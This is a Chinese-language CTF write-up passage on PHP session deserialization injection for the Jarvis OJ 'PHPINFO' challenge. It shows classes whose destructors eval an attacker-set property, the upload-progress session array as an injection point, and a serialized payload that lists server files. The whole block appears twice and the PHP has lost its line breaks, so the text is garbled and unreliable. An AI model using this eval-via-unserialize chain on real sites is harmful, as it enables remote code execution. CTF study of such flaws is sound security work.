<?phpsession_start();class f4ke{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
eval($this->name);
}}$str = new f4ke();?>
$_SESSION['session'] = new f4ke();$_SESSION['session']->name = 'phpinfo();';
我们访问test.php，即可直接执行phpinfo()函数
CTF例题：PHPINFO
<?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}}if(isset($_GET['phpinfo'])){
$m = new OowoO();}else{
highlight_string(file_get_contents('index.php'));}?>
<?php$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time 请求时间
"content_length" => 57343257, // POST content length 长度
"bytes_processed" => 453489, // Amount of bytes received and processed 已接收字节
"done" => false, // true when the POST handler has finished, successfully or not 是否上传完成
"files" => array(//上传的文件
0 => array(
"field_name" => "file1", // Name of the <input/> field input中设定的变量名
// The following 3 elements equals those in $_FILES
"name" => "foo.avi", //文件名
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
));
其中，session中的field_name和name都是我们可控的输入点！
下面我们就开始解题拿到flag
首先，web.jarvisoj.com:32784/index.php?phpinfo查询设置
session.upload_progress.enabled = On --表明允许上传进度跟踪，并填充$ _SESSION变量
session.upload_progress.cleanup = Off --表明所有POST数据（即完成上传）后，不清理进度信息($ _SESSION变量)
<?phpclass OowoO{
public $mdzz='print_r(scandir(dirname(__FILE__)));';}$obj = new OowoO();echo serialize($obj);?>//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
<?phpsession_start();class f4ke{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
eval($this->name);
}}$str = new f4ke();?>
$_SESSION['session'] = new f4ke();$_SESSION['session']->name = 'phpinfo();';
我们访问test.php，即可直接执行phpinfo()函数
CTF例题：PHPINFO
<?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}}if(isset($_GET['phpinfo'])){
$m = new OowoO();}else{
highlight_string(file_get_contents('index.php'));}?>
<?php$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time 请求时间
"content_length" => 57343257, // POST content length 长度
"bytes_processed" => 453489, // Amount of bytes received and processed 已接收字节
"done" => false, // true when the POST handler has finished, successfully or not 是否上传完成
"files" => array(//上传的文件
0 => array(
"field_name" => "file1", // Name of the <input/> field input中设定的变量名
// The following 3 elements equals those in $_FILES
"name" => "foo.avi", //文件名
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
));
其中，session中的field_name和name都是我们可控的输入点！
下面我们就开始解题拿到flag
首先，web.jarvisoj.com:32784/index.php?phpinfo查询设置
session.upload_progress.enabled = On --表明允许上传进度跟踪，并填充$ _SESSION变量
session.upload_progress.cleanup = Off --表明所有POST数据（即完成上传）后，不清理进度信息($ _SESSION变量)
<?phpclass OowoO{
public $mdzz='print_r(scandir(dirname(__FILE__)));';}$obj = new OowoO();echo serialize($obj);?>//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
